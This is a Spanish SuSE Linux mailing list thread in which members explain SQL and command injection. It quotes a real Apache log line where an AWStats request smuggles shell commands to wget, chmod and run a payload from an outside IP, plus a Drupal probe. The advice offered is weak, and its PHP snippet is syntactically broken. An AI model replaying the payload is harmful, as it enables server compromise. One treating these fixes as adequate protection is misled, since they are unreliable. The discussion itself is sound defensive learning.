En un sentido muy amplio y partiendo de la base de que un sistema en SuSE también puede resultar afectado. :-)
Bueno, hay una lista de seguridad, pero está en ingles (tb estoy suscrito a ella). Nos sentimos mas comodos hablando en castellano, y la seguridad es informatica, y como no tenemos otro sitio de donde hablar de informatica... pues eso. Que yo he sacado OTs mucho peores :D
miguel.listas> miguel.listas> Esa es la famosa inyección sql, no? Pero... como se inyecta?
Efectivamente este es el ejemplo de la inyección SQL "original". Desde entonces se he mejorado mucho (en parir inyecciones digo)
Se inyectaba en cualquier campo HTML o de formulario y/o script PHP que se validara contra una base SQL. Es decir en el tipico formulario que te pide el login y el password.
miguel.listas> - metodo post miguel.listas> - metodo get miguel.listas> miguel.listas> Uno de estos, no recuerdo cual, usaba la url para pasar los miguel.listas> parámetros.
Si, las inyecciones actuales se basan casi exclusivamente en el método GET.
Claro, con get se puede analizar la url que se pasa a la siguiente página, con lo que se puede construir una url según las necesidades del atacante.
Un ejemplo del access_log de Apache:
61.178.21.179 - - [20/May/2006:23:58:23 +0200] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1036 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
ichs! aunque cojo la idea, me pierdo con tanto %
Esta inyección intenta aprovechar un error del programa estadístico AWSTATS (escrito en Perl, no en PHP) que mediante el "wget" del servidor intenta entrar código malicioso en la máquina bajándolo de la URL http://131.220.92.80/cacat/ Luego hara un chmod a 744 del directorio creado y luego a ejecutar ....
ejem, y esa IP, se supone que es la del atacante? (o un zombie, dado el caso)
El otro método, hablando muy de memoria, usaba variables miguel.listas> de sesión
Este es el POST, no es frecuente pero también se pueden enviar inyecciones por él
Claro, al fin y al cabo, podrá ejecutar la misma sql en el servidor. Sólo habría que estudiar como hace el 'submit' del formulario, supongo.
miguel.listas> sql? O lo son los dos?
Los dos, pero el más frecuente es el GET
He buscado si tenían algún ejemplo con POST, pero no encuentro ninguno. Como mucho un testeo: 61.178.21.179 - - [20/May/2006:23:58:33 +0200] "POST /drupal/xmlrpc.php HTTP/1.1" 400 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
El gusano busca si drupal está instalado. Al no estarlo (respuesta 400) se acaba la sesión. Si la respuesta hubiera sido positiva (código 200 de Apache) entonces hubiera intentado inyectar el Exploid para drupal
Vale vale, dichosos script kiddies... eso no es ni hackear ni crackear ni na de na... Hace tiempo estuve buscando herramientas para montarme un blog. Entre las candidatas estaba el Drupal, el post nuke, el word press... hay alguno considerado 'seguro'?
miguel.listas> Vale, entonces, que tendría que hacer el programador para evitar esto?
Sabiendo que al Desarrollador se le pasó el detalle tendría que filtrar el formulario para suprimir las comillas o bien pasarlas todas al mismo tipo (con lo que el OR no formaría parte de la cadena.
El ejemplo del AWSTATS es un ejemplo típico de como se hacen las inyecciones. Es típico en todo excepto en que se trata de un programa escrito en Perl, que son víctimas muy poco frecuentes, ya que lo normal es que sean programas escritos en PHP.
Digo que es típico porque el 90% de este tipo de basura se basa siempre en hacer una llamada a una URL donde esta el código malicioso y bajarlo a la máquina víctima con el "wget" de la propia víctima mediante el usuario Apache.
Dicho de otra manera, en positivo, el 90% de los ataques se pueden frustar con algo tan simple como renombrar "wget" .
Pues no lo había pensado... pero si es efectivo, si.
[MODO AGRADECIMIENTO ON] Gracias Camaleón por tu consejo, no lo olvidaré nunca =:''-) [MODO AGRADECIMIENTO OFF]
uy uy uy uy, cuanto secretitoooo! :P
También se pueden frustar impidiendo que el script PHP haga conexiones externas al servidor con GET. Algo tan sencillo como empezar el script con algo como eso:
$bug = strpos($basepath,"http"); if ($bug === false) {
AQUI EL PROGRAMA
else }
Aquí el "premio" para el hacker.
JA! Y qué cosas se le hacen? Cual es la costumbre? Este mail convalida por un cuatrimestre de seguridad informática. Cae en el próximo examen... pero seguro. Está siendo MUY instructivo. Muchas gracias por la leccion" -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com